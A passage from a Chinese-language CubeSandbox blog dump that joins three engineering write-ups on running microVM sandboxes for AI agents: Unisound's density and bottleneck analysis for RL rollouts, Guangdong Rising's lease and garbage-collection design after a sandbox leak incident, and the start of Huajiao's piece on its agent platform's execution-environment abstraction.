cubelet，所以它不只是控制面，本机同样承载沙箱。相比之下，计算节点很轻，只跑 network-agent 和 cubelet 两个组件，通过 `ONE_CLICK_CONTROL_PLANE_CUBEMASTER_ADDR=<控制节点 IP>:8089` 注册到控制面，注册完成后，CubeMaster 通过 9999 端口的 gRPC 向它下发沙箱创建和销毁指令。 ![控制面 / 计算面节点职责划分](./assets/2026-09-01-unisound-rl-rollout/01-control-compute-split.jpg) *图 1：控制面 / 计算面节点职责划分* **模板分发的设计是性能表现的关键：模板不是放在共享存储里，而是由 CubeMaster 主动分发到各计算节点的一份 replica。** CubeMaster 先把 OCI 镜像烤成 ext4 rootfs，再主动推送到每一个计算节点，各节点收到后，会在本地再跑一次 VM，取内存快照留存。正因为这份 replica 已经在本地，起沙箱时才能走纯本地的 FICLONE 克隆，零网络 IO，这是毫秒级启动能实现的前提，相应的代价是每个计算节点都需要一块足够大的本地盘来存放这些 replica。 同时，存储配置也要配合这套设计：`/data/cubelet` 必须用 XFS 并开启 reflink，因为 cubecow 存储引擎依赖 FICLONE，非 XFS 会直接拒绝启动；模板镜像和内存快照则放在另一块盘，那块盘没有文件系统限制。 ## 三、调度参数到实测稳态密度推导 我们当前使用的 Cube 版本是 v0.6.0，跑的是两套双节点集群（每套一控一算），单机配置 128 核 251 GiB。沙箱规格按 SWE agent 的实际需要配置：1 核、4096 MiB 内存、10 GiB 可写层。 我们按沙箱规格和 CubeMaster 的调度参数推算出两个关键数字：单节点并发上限约 117 个，双节点约 234 个，瓶颈出现在内存侧。这个上限是怎么算出来的：调度参数设置为内存预留 10 GiB、内存超卖比 2 倍、CPU 超卖比 3 倍但利用率封顶 80%；单个沙箱按 1 核 4096 MiB 的规格，实际占用内存约 4202 MiB。用这两个数字相除，内存维度能支撑的沙箱数是 117 个，而 CPU 维度理论上能支撑到 306 个——两个数字取小的一方，最终卡在内存这一侧。 要理解 117 这个数字，需要先理解"超卖"在这里的含义。内存超卖比 2 倍，意思是调度器允许接单的总内存额度是物理内存的 2 倍：这台机器物理内存只有 241 GiB，但调度器按约 480 GiB 在分配配额。如果完全不做超卖，单节点能跑的沙箱数应该是物理内存直接除以单沙箱占用，即 241 GiB 除以 4.2 GiB，约等于 58 个。这个 58，是我们在不依赖任何假设、能保证不触发 OOM 的安全边界；而 117，是调度器允许我们冒险接单的账面上限。58 到 117 之间的差值，本质是用超卖去换密度，而不是机器真的能同时装下 117 个沙箱的内存需求。 117 这个账面上限能不能真正兑现，取决于一个关键假设：沙箱不会同时把 4 GiB 内存用满。这个假设在大多数时候是成立的，因为 Cube 的 MicroVM 采用惰性分页机制，沙箱在空转、或者在等待大模型返回结果的时候，实际占用的内存（RSS）远低于 4 GiB 的标称值。但一旦沙箱进入 SWE 场景里的编译、装依赖、跑测试这类阶段，内存占用会迅速涨到接近 4 GiB 上限，这个假设就会被打破。所以我们的实测结果是：稳态运行时，单节点能稳定撑住的并发数落在 80-100 个，双节点大约 160-200 个，比账面的 117/234 要低。原因很直接，只要有一批沙箱同时撞上编译阶段的内存高峰，宿主机的物理内存会先于调度器的账面数字被撑爆。 ![密度推导阶梯图](./assets/2026-09-01-unisound-rl-rollout/02-density-derivation.jpg) *图 2：密度推导阶梯图* 再看 CPU 侧的情况：117 个沙箱每个都要占用 1 核，加起来是 117 核，而这台机器物理只有 128 核，利用率已经达到 91%。也就是说，当内存侧顶到 117 这个上限时，CPU 侧几乎同时被顶满，两个资源维度几乎是同步触顶的。这说明当前给沙箱配的规格（1 核配 4096 MiB）和这台机器的物理配置（128 核配 251 GiB）是匹配的，不存在某一侧资源明显过剩、另一侧提前卡死的情况。 ## 四、压测中观察到的瓶颈 压测过程中我们遇到过三类瓶颈，表现各不相同，需要分开识别，否则容易被笼统归为"资源不够"而错判方向。 **第一类是内存超卖被真正兑现**，也就是前面提到的"58 到 117 之间那段靠超卖换来的空间"最终落空的时候。它的表现是：宿主机的可用内存（available）持续下降直至耗尽，随后触发 OOM，操作系统会直接杀掉进程来释放内存。这种情况通常出现在并发数往 117 逼近、又恰好赶上一批沙箱同时进入编译高峰的时刻——也就是我们前面提到的"沙箱不会同时把 4 GiB 用满"这个假设被打破的场景。这里需要区分清楚：CPU 超卖顶满时，沙箱只是变慢，进程不会被杀；内存超卖顶满时，操作系统会直接杀进程。两者是性质完全不同的信号，不能混为一谈。 **第二类是磁盘水位触发节点被调度器排除在外**。CubeMaster 会持续监控节点上几块关键磁盘的使用率，只要任意一块超过 80%，这个节点就会被标记为不再接受新的沙箱创建请求，此时新建沙箱会失败，报错码 130597（no more resource）。这里容易造成误判的地方是：节点在监控面板上看起来仍然是 HEALTHY 状态，但实际上已经拒绝新沙箱。 所以看到 130597 报错时，第一反应应该是去查磁盘水位，而不是查节点健康状态。我们早期就遇到过这种情况：单节点上 cube-snapshot 组件把系统盘写到了 83%，触发的正是这个错误码。这里有一个容量数字需要澄清：每个沙箱的可写层上限是 10 GiB，117 个沙箱理论上最坏情况会占用 1.14 TiB，但这只是最坏估计，实际用到的写时复制（CoW）空间通常远小于这个数字。真正需要遵守的规则是：可写层必须放在数据盘上，不能放在系统所在的根盘，否则很容易复现我们踩过的这个坑。 **第三类是创建请求突发时的并发竞争**，这一类和沙箱存活数量是否打满完全无关，即使当前存活沙箱数远低于 80-100，也可能触发。具体场景是：短时间内同时发起大量创建请求时，请求会卡在 network-agent 分配 tap 设备这一步，表现为 unix socket 通信超时，SDK 侧收到 500 错误。我们的实测结果是，单节点同时发起大约 20 路创建请求还能正常完成，一旦超过这个数量，就会稳定卡在这个环节。这里需要区分两个容易混淆的概念："稳定存活 80-100 个沙箱"和"同一时刻并发创建 80-100 个沙箱"不是一回事——存活数是一段时间内维持的总量，而创建是瞬时并发的动作，创建请求本身需要排队处理，两者的压力模型完全不同。 ![三类瓶颈对比表](./assets/2026-09-01-unisound-rl-rollout/03-bottleneck-comparison.jpg) *表 1：三类瓶颈对比表* ## 五、AutoPause 密度杠杆的评估与保守选择 除了识别以上瓶颈，我们也评估过一个能进一步提升密度的杠杆 AutoPause。它的出发点是：Agent 轨迹的执行过程中，大部分时间其实是在等待大模型推理返回结果，这段等待期沙箱是空闲的，但按现有的调度方式，空闲沙箱依然占着全额资源配额。 Cube v0.5.0 之后提供的 AutoPause 机制，能把长时间闲置的沙箱做一次快照存到磁盘，然后关闭对应的 MicroVM 释放物理资源，等新请求到达时再毫秒级唤醒。控制这个机制密度效果的参数，是 Cubelet 配置里的 `paused_resource_release_ratio`，默认值是 0.0。这个默认值的含义是，沙箱被 pause 之后，尽管物理层面的 CPU 和内存已经归还给宿主机，但调度器的账面记录仍然按占满计算，所以密度不会因为开启 AutoPause 而提升。 我们评估过把这个参数调到 0.7-0.8：按 agent 轨迹活跃占比大约 20% 来估算，账面密度理论上能提升到 3-4 倍，相当于单节点 350-470 个沙箱。但这个提升是有代价的：调高之后，resume 操作会变成尽力而为，如果节点瞬时资源不够，会直接返回 409 错误，也就是说唤醒不再是一个能稳定保证成功的操作。我们目前还没有在 RL 训练侧把"resume 失败之后自动重试"这套容错逻辑做成稳定策略，所以暂时没有调整这个参数，`paused_resource_release_ratio` 仍然保持默认的 0.0。好在这个参数支持热加载，不需要重启服务就能调整，等后续训练规模真正需要提升密度时，可以再重新评估。 ## 六、写在最后 RL rollout 场景对沙箱密度的要求有三点不同于普通 Agent 服务：轨迹生命周期为分钟级，创建吞吐比稳态存活数更重要；编译、测试等阶段会将标称内存占满，超卖空间有限；轨迹绝大部分时间在等待 LLM 返回，密度仍有理论提升空间，但需要配套容错才能兑现。 对应的瓶颈有三类，表现各不相同：内存超卖兑现时 available 耗尽、宿主 OOM；磁盘水位超阈值时节点被移出调度；创建突发时卡在 network-agent 分配 tap fd。三类瓶颈需分开识别，才能定位调整方向。 我们的实践思路分三步：先按沙箱规格与调度参数推算理论上限，确认瓶颈落在哪个资源维度；再区分安全边界、账面天花板与实测稳态三个数字的含义，明确各自之间的差距来自超卖空间还是负载峰值；最后对每个密度特性先评估收益与代价，配套容错未就绪前保持默认，条件具备后再调整。 *感谢云知声 Atlas 智算团队，对以上内容的贡献。* --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-03-guangdong-rising.md description: >- 创建一个沙箱只需要一次 API 调用，删掉一个沙箱却要回答一串问题：它还有活跃会话吗？这条清理请求会不会是迟到的那一个？崩溃的副本留下的沙箱谁来收？广晟数科团队把两条产品线的沙箱能力收敛成 SIN PaaS 的独立沙箱执行层，用租约、fencing token、三色标记回收和准入控制回应了这串问题。 --- # 谁有权删掉一个沙箱：在 CubeSandbox 上构建多租户沙箱平台 作者｜广晟数科 资深算法工程师 · 冯佳奇 **编者按｜** 创建一个沙箱只需要一次 API 调用，删掉一个沙箱却要回答一串问题：它还有活跃会话吗？这条清理请求会不会是迟到的那一个？崩溃的副本留下的沙箱谁来收？ 广晟数科团队有两条产品线（SIN Builder、大晟AI）跑 AI Agent 生成的代码，他们把沙箱能力收敛成了一个独立服务，作为广晟数科 SIN PaaS（AI中台）的沙箱执行层，并用租约、fencing token、三色标记回收和准入控制等实践，回应了上面那串问题。本文记录了这套治理体系从两套各自实现、一次泄漏故障，到统一收敛的完整过程。 ## 问题起点：两套实现与一次故障 选型 Cube Sandbox 之前，我们要解决四个问题：1）两条产品线各写了一套沙箱能力，彼此不通用，生命周期、租约、回收策略互不一致，出了问题难定位也难治理；2）Agent 会话是长连接、有状态的，同一会话需要复用同一个沙箱，这要求按 owner 粒度设计租约和 fencing token，否则一个迟到的清理请求会直接删掉新一代租约，把正在运行的会话干掉；3）多副本部署下配额和回收很难两头兼顾：既不能把正在跑的沙箱当垃圾回收掉，也不能让崩溃副本遗留的沙箱一直泄漏；4）沙箱冷启动延迟会直接变成用户等待时间，而自建 warm pool 遮延迟，维护和一致性成本都很高。 第一个问题维持了很长时间。大晟AI（企业级 AI 助手，内部代号 dasheng-next）从 2026 年 5 月 11 日起就把沙箱能力内嵌进了产品代码；SIN Builder（AI 应用生成平台）的后端 sin-builder-core 到 6 月上中旬才独立接入 Cube Sandbox（以下简称"Cube"），我们自己实现了一套运行时接入和事件解析逻辑。但两条线各自演化、互不相通。真正促成收口的，是 2026 年 6 月 18 日的一次故障。 那次故障的形态是一个死循环。内部排查报告将根因判定为 cube-api / CubeMaster 写路径阻塞：故障发生时，平台上累积了 704 个沙箱，全部处于 running 状态且 endAt 等于 startedAt（从创建后从未续期过）；宿主机上 732 个 containerd-shim-cube-rs 运行时进程，合计占用 304 GB 内存，其中 385 个来自空闲预热池，另外 319 个无会话归属，来自 5 个已经不存在的历史实例。读路径 `GET /sandboxes` 一切正常，秒级返回；但写路径 POST 和 DELETE 全部超时返回 408。回收侧每轮都能识别出 216 个待清理的沙箱，但实际删除数是 0——kill 失败 1359 次，create 请求失败 10214 次，全部 408。**这就形成了一个闭环：历史实例遗留的沙箱不断累积，数量压垮了写操作，create 和 kill 都在超时，既删不掉旧的也补不进新的，平台被进一步拖垮，两条产品线同时不可用。** 这次故障对后续设计有三个直接影响。其一，385 个泄漏沙箱来自空闲预热池，说明预热池是最大的泄漏源，而一个月后，我们实测 Cube 官方的 hot-start 已经达到亚秒级，warm pool 因此被整体退役。其二，5 个历史 owner 实例与 319 个无归属沙箱，说明当时缺乏单一的记账权威，这也是后来独立出来的新服务要优先解决的问题。其三，事后重建时我们确认了两项待加固：写操作要加熔断、GC kill 不能串行 await。 ## 收敛：唯一的沙箱边界 故障一周后，我们在 Cube Sandbox 之上，建立了 common-sandbox-runner 这个独立的 FastAPI 服务，把沙箱能力收敛。它就是 SIN PaaS 的沙箱执行层组件。 * SIN Builder 和大晟AI 与 runner 部署在同一个 K8s 集群、不同的命名空间下，只通过一个接口 `POST /v1/sandbox-runs` 调用 runner（SSE 流式返回 started、progress、completed 三种事件），本身不持有任何沙箱状态，也不直接访问 Cube。 * runner 是整个系统里唯一能写 Cube 的一侧。目前是单副本部署，pod 内不保存权威状态——租约、准入计数、GC 候选名单这些跨请求都要用到的状态，全部存在 Redis 里；多副本安全目前在设计上已支持。 * Cube 平台与 runner 部署于同一节点。见下图中虚线处，为平台侧行为：sweeper 依据 endAt 触发 pause，不判断沙箱内是否有命令在执行。 ![部署和调用关系](./assets/2026-09-03-guangdong-rising/01-deployment-topology.jpg) *图 1：部署和调用关系* 每个请求都携带 namespace（产品/团队边界）加 env（dev/staging/prod），runner 据此推导出一个统一的 `owner_id`，写进沙箱的 metadata；后续无论是清理、取消还是排障，都用同一套可预测的 key 格式去查，所有沙箱都能追溯到具体归属。具体规则是：除非调用方显式指定，`owner_id` 由 namespace、env、项目 ID、会话 run ID 按固定顺序拼接而成，人眼可读；对跑业务的沙箱，runner 会把 namespace、env、`owner_id` 和 `managed_by` 一起写进沙箱 metadata。收益在排障时最明显：拿到任何一个业务沙箱，不用查任何内部状态，从 metadata 就能直接读出它属于哪条产品线、哪个环境、哪个会话。模板用的是双模板设计，一个主模板加一个轻量模板，调用方可以用 `template_id` 覆盖，按任务的资源量级选择镜像。Cube 这一侧，我们直接调用官方 SDK 的 create 和 connect，没有再包一层自建抽象；生命周期配置用的是 `on_timeout=pause` 加 `auto_resume`，空闲租约会被转入"软预留"状态而不是直接 kill，会话回来时能直接恢复现场。create、reconnect、活跃 run 的心跳这三个时机，都会调用 `set_timeout()` 续期并校验返回的 endAt；一旦续期失败，我们会主动终止这次 run，而不是让它带着不确定的存活时间继续跑。 一次 run 从被接受到完成，走的是一套固定的时序： * **started 之前**，通过 Redis Lua 脚本原子获取准入槽——桶级限额和全局上限一并判定，最长等待 30 秒，超时会返回一个可重试的 CAPACITY\_EXCEEDED。这一步的关键是把"检查名额"和"占住名额"合并成一次原子操作：一段 Redis Lua 脚本在服务端一次执行完"读计数、比上限、通过则加一"——桶级上限必判，全局上限在全局闸启用时一并判——中间没有任何别的请求能插进来的窗口，多副本并发下也不会出现两个请求同时看到"还剩一个名额"而超卖。名额的释放同样走原子脚本：创建失败当场回滚；已建成的沙箱，要等确认沙箱确实已不存在之后、随 owner 记录一起释放，中途意外残留的计数也会被 GC 清扫兜底回收。拿到名额后，如果命中已有的 owner 租约，就用 connect 复用同一个沙箱，否则才走 create；拿到沙箱之后还要做一次数据面探活（外层 3 次、内层 3 次重试），新建的沙箱从 create 返回到数据面真正可用，中间有数秒到十几秒的激活延迟，探活失败的沙箱会被直接丢弃并重建，不会带着一个不确定能不能用的沙箱继续跑下去。 * **started 到 progress 这一段**，是把工作区和上下文写进去，用 nohup 分离方式启动入口进程，短命令会立刻返回。 * **progress 到 completed 这一段**，是单循环、严格串行的轮询：扫描产物增量、发送 progress 事件、读 `entry.exit` 判断是否完成、检查取消标记和 deadline，每 30 秒心跳一次并顺带 rebase endAt；不管这个循环从哪个出口退出，finally 里都会执行一次幂等的 pkill，确保不会有残留进程。 ![一次 run 的 SSE 时序](./assets/2026-09-03-guangdong-rising/02-run-sse-sequence.jpg) *图 2：一次 run 的 SSE 时序* 这套"分离式启动加严格串行"的设计，是我们在 Cube 上踩过的一个坑换来的。早期的实现是"长命令阻塞加并发轮询"，两者同时作用在同一沙箱上会让 envd 互相阻塞，曾导致 `app_generation` 出现 ReadTimeout 或挂死，当时先默认关闭文件流，改成分离式启动加严格串行之后才重新打开。 这套流程解决了"一次 run 怎么跑完"，但还有一个更基础的问题：\*\*同一个会话怎么保证每次都能找到、也只能找到自己那个沙箱。这靠的是租约机制。\*\*这两个接口是我们自己设计的，语义刻意收得很窄。获取侧：`POST /v1/leases` 带上 `owner_id`（连同 namespace 和 env），调用方还可以为每一代会话附一个自己生成的 `lease_id`，作为条件释放用的代次（epoch）标记；如果这个 owner 已有存活的租约、且模板兼容，接口会返回同一个 `sandbox_id` 并标记 reused=true——会话续聊时拿回的就是原来那个沙箱。释放侧：`POST /v1/lease-releases` 必须同时带 `owner_id` 和 `lease_id`，只有这一对与服务端当前持有的那一代（epoch）完全匹配，才会真正 kill 沙箱并释放名额（清理异步完成）；不匹配时只把这个过期代次封存作废，绝不会回退成"删当前租约"。这条规则解决的正是前面提到的问题——迟到的清理请求可能撞上旧租约已过期、新一代租约已接管同一会话的情况，如果不校验就删，删掉的会是新一代正在用的沙箱。引入 epoch 匹配后，这个问题彻底消失。 ## 安全回收：三色标记与官方生命周期的分工 我们重写后的回收器设计，参照了 JVM 和 Go 里三色标记清扫加代际宽限的思路。 * 黑色是根——心跳保持新鲜的 run、租约、操作锁，永不回收； * 灰色是宽限期内的沙箱，禁止删除； * 白色——连续两个确认周期无根引用、且 generation（代次编号）没有变化的沙箱，才会真正被清扫。 ![三色标记清扫示意](./assets/2026-09-03-guangdong-rising/03-tri-color-marking.jpg) *图 3：三色标记清扫示意* 清扫前会对每个沙箱先取分布式锁，再复核一次 generation 和根集合，确认 kill 成功或查询返回 404 之后，才删除 owner 元数据、释放对应的准入配额。 四项参数里只有 30 秒心跳是自定节拍，其余三个都由它派生：黑根判定 120 秒（4 倍心跳，容忍连续丢失 3 次）、新生宽限 180 秒（3 倍 GC 周期，覆盖数据面激活延迟）、确认周期连续 2 轮（单次清单不可信，平台可能漏掉 paused 沙箱）。 ![回收器四项参数与取值依据](./assets/2026-09-03-guangdong-rising/04-gc-parameters.jpg) *表 1：回收器四项参数与取值依据* **我们这套回收器，是被三轮同一个根因的事故反复打磨出来的，并非一次设计到位：** 第一轮是 2026 年 7 月 13 日的生产事故：sweeper 失效导致 100 个僵尸沙箱（93 个处于 paused，endAt 逾期 23 到 41 小时）占满配额，依赖沙箱的功能全部不可用，催生了 endAt 逾期兜底——超过 1800 秒宽限就 best-effort kill 并释放记账。 \*\*第二轮问题的根因和第一轮相同，但换了个形态复发。\*\*我们的 GC 里有一条规则："只要一个沙箱还持有租约，就当成根对象、永不回收"。这条规则本意是保护正在使用的沙箱，但它没有考虑租约本身也可能已经过期作废。叠加 Cube 平台把 paused 状态的沙箱也放进沙箱清单里返回（导致我们的强杀逻辑走不到这些沙箱），最终结果是租约早已过期的 paused 沙箱一直被判为"根对象、不能删"，两条产品线分别积压了 85 个和 173 个过期僵尸。我们的修复思路是，把"要不要回收"这件事从"机制"层拆到"策略"层去做，让每个资源桶显式声明自己的保留期（单位：秒），只有当桶的保留期大于 0、沙箱确实处于 paused 状态、并且已经超过保留期这三个条件同时满足，才判定为可回收，其他情况仍然保留原来的"永不回收"行为。 \*\*第三轮是一个更隐蔽的自锁问题。\*\*我们的 GC 依赖"最近一次成功获取到的清单"作为对账基准。如果获取失败或者结果异常（比如清单突然从有变没），GC 会跳过这一轮扫描不做任何动作，等下一轮再重试。但有一种边界情况会让这套保护变成陷阱：当系统里最后一个沙箱正常触发 auto-pause 时，清单会从"有一个"直接降到"零个"。这个数据形态和"Cube 平台彻底联系不上、拿不到清单"长得一模一样，两种情况在我们眼里没法区分。原逻辑遇到这种"疑似失联"的情况就一直跳过对账，配额耗尽后反而没有新沙箱能进来解锁这个状态。修复办法是给"跳过"设一个上限（默认连续 3 轮），超过就强制恢复对账并记录日志；中间那段"看不清"的窗口，靠单独查询单个沙箱状态来兜底。 同一轮改动里还补了一个反向测试：让一个空闲租约经历两个确认周期，然后断言"这期间续期次数必须为 0"，防止 GC 扫描时顺手给空闲沙箱续了期。一旦续期，这个沙箱就永远不会被官方 autoPause 处理。 resume 对准入计数的影响：resume-then-kill 目前只在分支上，还没合入 main。背景是 Cube v0.5.1 拒绝对 paused 沙箱执行 DELETE（错误码 130593），connect() 唤醒正常情况下有效但是 best-effort——一次瞬时失败会让 kill 持续返回 500，该沙箱可能跨越每一轮 GC。这里可以直接回答一个关键问题：resume 不会导致准入计数超限，因为计数以 owner 记录为单位，paused 沙箱从未释放槽位，唤醒后 kill 不会重复计数，槽位只在 kill 成功或确认 404 后释放。但物理资源会短暂占用——每沙箱 2C/2G，若把当前积压的 paused 沙箱逐个唤醒再 kill，瞬时会占用 212 vCPU / 217 GB，这也是我们希望平台直接支持对 paused 沙箱 DELETE 的原因。 ![整体演进路线](./assets/2026-09-03-guangdong-rising/05-evolution-roadmap.jpg) *表 2：整体演进路线* ## 使用 Cube Sandbox 后的三项成效 回收机制解决的是沙箱用完之后怎么安全释放的问题，但在沙箱被创建之前，还需要一道闸门来控制同时能开多少个。我们靠 Redis 支撑的准入计数来实现准入控制：按 namespace 和 env 分桶限额加全局闸门，测试和生产环境默认容量分开，每次申请最长等待 30 秒，多个副本执行和释放的是同一份计数。 这套机制上线后，有三项比较直接的成效： **第一，沙箱启动延迟大幅下降。** 烤模板 hot-start 实测中位数 180 ms、P95 下 210 ms，冷启动也能稳定在一秒以内。正因为官方启动已经足够快，我们把自建的 warm pool 整体下线。 **第二，架构复杂度大幅下降。** warm pool 退役加沙箱脚本改成预烤方式，这一轮净删除约 1350 行代码（新增 193 行、删除 1542 行），沙箱运行时的核心文件单独减少 650 行，WarmPool、PoolRegistry、池分支逻辑、`skip_pool` 开关，整条有状态链路都被去掉了。两条产品线原来各写一套的沙箱逻辑，收敛成 1 个共用服务，用 198 个测试用例守住这条边界。 **第三，admission 逻辑上限从 200 放宽至 500 沙箱，解除僵尸租约导致的配额死锁**，而且没有增加任何额外机器资源。 这里也说明一下，"500"这个数字，第一，500 是 runner 自己 admission 闸的逻辑上限，不是 Cube 单个 Cubelet 节点的真实容量上限，后者我们没有测试过。第二，我们没有做过压测，500 并非压测得出，也没有做过 CPU、内存、网络、调度层面的分层压测，给不出真正的瓶颈数据。已知的口径只有每个沙箱 2C/2G，真正的上限取决于 Cube 集群的物理容量，但我们至今没有逼近过——Cube 侧线上全部容量类报错都是 runner 准入闸抛出的 CapacityExceeded，根因是僵尸租约占用记账，不是 Cube 报资源不足；前面提到的 106 个僵尸沙箱、212 vCPU / 217 GB，在集群上最长停留 32 天，平台侧没有任何告警。当前是单副本部署，日常规模在千个沙箱以内，500 这个上限从未被真正逼近过。 ## 总结 回过头看，我们两条产品线各自实现自己的沙箱逻辑持续五周半，一次泄漏故障，让我们两天内把服务抽出来，又用两周半完成整体切换，最后花四天集中重构生命周期管理。 当前线上真实状态（数据截至 2026-08-13）是：106 个沙箱全部 paused，没有一个在 running，最长的一个已停留 32 天；GC 运行正常，但真正符合回收条件的候选只有 4 个——原因不是 GC 坏了，而是按桶保留期默认为 0（永不回收，为的是不影响老用法），这批沙箱所在的桶恰好没声明过保留期，累积到了配额上限。这个"默认永不回收"的保守选择，代价是攒下了一个月的僵尸沙箱。 沙箱平台真正难的地方从来不是怎么创建沙箱，而是怎么安全地删掉它。每一次"删还是不删"的判断，都要在"误杀正在用的会话"和"放任泄漏"这两种风险之间，找到一条站得住的边界。 *感谢广晟数科冯佳奇老师及其团队，对以上内容的贡献。* --- --- url: https://cubesandbox.com/zh/blog/posts/2026-09-17-huajiao.md description: >- 大部分团队接入 Agent 沙箱时，思考顺序是「我们需要隔离，所以上沙箱」。花椒团队的顺序是先把 Agent 平台设计成一层可配置的执行环境抽象，沙箱只是这个抽象层里的选项，由每个 Agent 根据自己的隔离需求决定要不要用。本文记录这套思考的落地：从组织级的隔离决策，到贡献 Go SDK、定位 host-mount 场景下的快照恢复 bug，再到在 CubeSandbox 之上重新定义一套终端协议。 --- # 沙箱是选项，不是标配：花椒 Agent 平台的架构思考与 Cube 实践 作者｜花椒直播基础架构部负责人 · 王成龙；花椒直播 CTO · 封冰清 **编者按｜** 大部分团队接入 Agent 沙箱时，思考顺序是"我们需要隔离，所以上沙箱"。花椒团队的顺序是先把 Agent 平台设计成一层可配置的执行环境抽象，沙箱只是这个抽象层里的选项，由每个 Agent 根据自己的隔离需求决定要不要用。 这篇实践记录的是这套思考是如何落地的，包括从组织级的隔离决策，到贡献 Go SDK、定位并修复一个 host-mount 场景下的快照恢复 bug，再到在 CubeSandbox 之上重新定义了一套终端协议。 ## 一、沙箱是执行环境的一个选项 花椒直播是花房集团旗下的产品。我们企业 Agent 平台最早在花椒直播业务侧完成从 0 到 1 的落地验证；后续基于这套沉淀的底层能力，为花房集团中台搭建了一套独立部署的实例。 * 花椒 Agent 主要服务花椒直播内部的设计、产品、技术、运营、客服、审核等部门，应用中心目前上线了 25 个入口，包括 DMG 业务助手、ChatBI、内容运营助手、设计助手、产品助手、H5 页面生成助手、客服部门助手、审核数据分析助手、经营数智平台和电销平台等；此外还有一个独立的 C 端产品。 * 花房 Agent 服务花房集团中台，已经在经济系统、数据、行政、法务、GR（政府关系）5 个部门落地，包括 BI 数据助手、行政部助手、法务工作台和 GR 工作台等应用。 两套部署基于同一套 Agent Runtime，分别服务花椒直播的业务部门和花房集团的中台部门，合计已经落地约 30 个不同的 Agent 应用。花椒的实践完成了平台和业务应用从 0 到 1 的验证，花房的实践则进一步验证了同一套底层能力可以跨组织独立部署和复用。 ![花椒 Agent、花房 Agent 平台截图](./assets/2026-09-17-huajiao/01-agent-platform-screenshot.jpg) *图 1：花椒 Agent、花房 Agent 平台截图* 搭建 Agent 平台时，我们先确定了一条边界：平台内部不放任何业务相关的代码。所有 Agent 的能力都通过后台配置生成。这样一套架构可以完全复用给任意场景的 Agent，而不用适配每个新业务而重新开发、重新"造轮子"。这就好比：Agent 平台相当于操作系统，而 Agent 则是跑在操作系统上的应用，Skills 相当于各类开发框架和 SDK。 这套架构中最关键的一层抽象叫执行环境——大模型要执行命令时，具体在哪执行，就是执行环境要回答的问题。一个 Agent 可以配置一个或多个执行环境，也支持个人私有执行环境的动态注册和移除。执行环境的操作系统可以是 Windows、Linux 或 macOS，部署形态可以是裸金属、普通云服务器，也可以是 Kubernetes。每种执行环境都会启动一个守护进程，负责和 Agent 平台通信。**CubeSandbox 是我们接进执行环境服务的一种沙箱方案，目前暂时只部署在普通云服务器上，后续还会扩展到 K8s 场景**。但不管执行环境本身是什么性质，都可以在其上选择用沙箱。 什么场景才要上沙箱，我们没有定统一规则，而是按 Agent 的定位来判断。判断的核心只有一个：这台执行环境上的资源，需不需要在多个用户之间物理隔离。如果 Agent 管理的是一台专属机器，工作内容只有单一主体在消费，用不用沙箱没有区别；同一台执行环境一旦要服务多个用户，每个人的工作状态必须彼此独立，我们一般就会选择沙箱。换句话说，隔离决策不在平台层统一，而是随 Agent 的定位落到具体执行环境上。 在 Agent 之间，我们按"资源要不要物理隔开"的标准决定要不要用沙箱；在组织之间，我们把同一个标准用在了更高的层级，例如，花椒 Agent 和花房 Agent 采用了两套完全独立的实例部署，平台服务、账号权限、业务数据、应用资产、执行环境和 CubeSandbox 实例分别管理，不共享控制面。因为，我们现阶段更看重不同组织之间清晰、可审计的安全边界，这个优先级高于共享控制面能带来的资源复用效率。 ## 二、Cube Sandbox 的选型与落地 选型之前，我们用的是最原始的方案：单服务器目录隔离。其间遇到了一系列问题：缺乏隔离能力，用户 A 理论上可以通过 Agent 操作到用户 B 的文件。我们评估过其他几类方案，逐一被否：Docker 启动慢、隔离不彻底、性能低；传统虚拟机成本高，资源分配也不灵活。MicroVM 级的方案层面，我们调研、测试对比了启动速度后，发现 CubeSandbox 最快，特性和性能也符合预期，尤其是强隔离这一条，经过实验确认能满足需求，就应用了下来。 选型确定之后，遇到的第一个实际问题是：用户数据放在哪。沙箱本身是可回收的，但用户的工作状态必须跨沙箱保留下来。我们最初的做法是挂载外部磁盘，用户数据需要持久化，不能因为云服务器故障就丢失，所以放在一块数据盘上，而不是系统盘。后来考虑高可用性，我们发现普通数据盘做不到同时挂载到多台云服务器，于是升级成 NFS 方案——用户的持久化数据全部写到 NFS 目录，云服务器故障时立即启动新机器挂载同一个 NFS 继续服务，损失的只是运行中的进程。这套方案接进 CubeSandbox 靠的是 host-mount 机制：部署在云服务器上的执行环境守护进程，把不同目录映射到沙箱内部，沙箱内部无法做权限逃逸，守护进程只关注最小粒度的会话，一个会话对应一个沙箱。 落地过程中，我们遇到的不只是"怎么把 CubeSandbox 用起来"的应用层问题，还有几次必须直接动 CubeSandbox 本身代码的情况。我们从 CubeSandbox 第一个发布版本起就在用，当时官方还没有 Go SDK，我们自己写了一版对齐 Python SDK 的能力，提交到了官方仓库（[PR #254](https://github.com/TencentCloud/CubeSandbox/pull/254)）"Add Go SDK"，一次性提交生命周期管理、命令执行、文件读取、proxy transport 等完整能力，共 15 个文件、新增 3288 行代码。合并当天，官方代码审查发现 `Sandbox.Close()` 会意外关闭多个沙箱共享的 HTTP 连接池，我们随即提交（[PR #322](https://github.com/TencentCloud/CubeSandbox/pull/322)）修复。 另一次更深的问题出现在休眠唤醒场景。挂载了磁盘的沙箱在休眠和唤醒时存在 bug，我们定位到根因是 CubeSandbox 给 host-mount 场景打快照时，没有为 virtio-fs 准备好迁移所需的元数据，根 inode 因此丢失了迁移状态，恢复时报错 InvalidVirtioFsState。我们随后又提交了（[PR #341](https://github.com/TencentCloud/CubeSandbox/pull/341)）和（[PR #354](https://github.com/TencentCloud/CubeSandbox/pull/354)）进行修复和后续加固，但 PR #354 测试之后自己关掉了，原因是测完之后不确定这个改动是否完美。我们目前的做法是直接销毁沙箱再重建，绕开还没解决的部分。 ![花房集团 Agent 平台管理界面](./assets/2026-09-17-huajiao/02-huafang-console.jpg) *图 2：花房集团 Agent 平台管理界面* 目前，CubeSandbox 已经在我们生产环境运行了 3 个多月。支撑了花椒和花房两个实例的大约 30 个 Agent 应用，日均 token 消耗约 8300 万。 ## 三、agentd：在 CubeSandbox 之上重新定义一套终端协议 为了丰富对外提供的能力的需求，我们在 Cube Sandbox 之上加了一层自研的终端协议——agentd，用来和 Agent 平台的执行环境服务对接，与 Cube 模版里自带的 envd 并存分工。它在制作沙箱模版时会默认启动。 ### 3.1 agentd 的定位与自研背景 envd 本身不缺执行命令、文件读写或 PTY 这些基础能力，CubeSandbox 官方文档把它定义为 Sandbox 的原生数据面，模板探针、初始化，以及 SDK 的 command/file API 都依赖它，命令、文件、文件系统和 PTY 相关的请求都路由到 envd 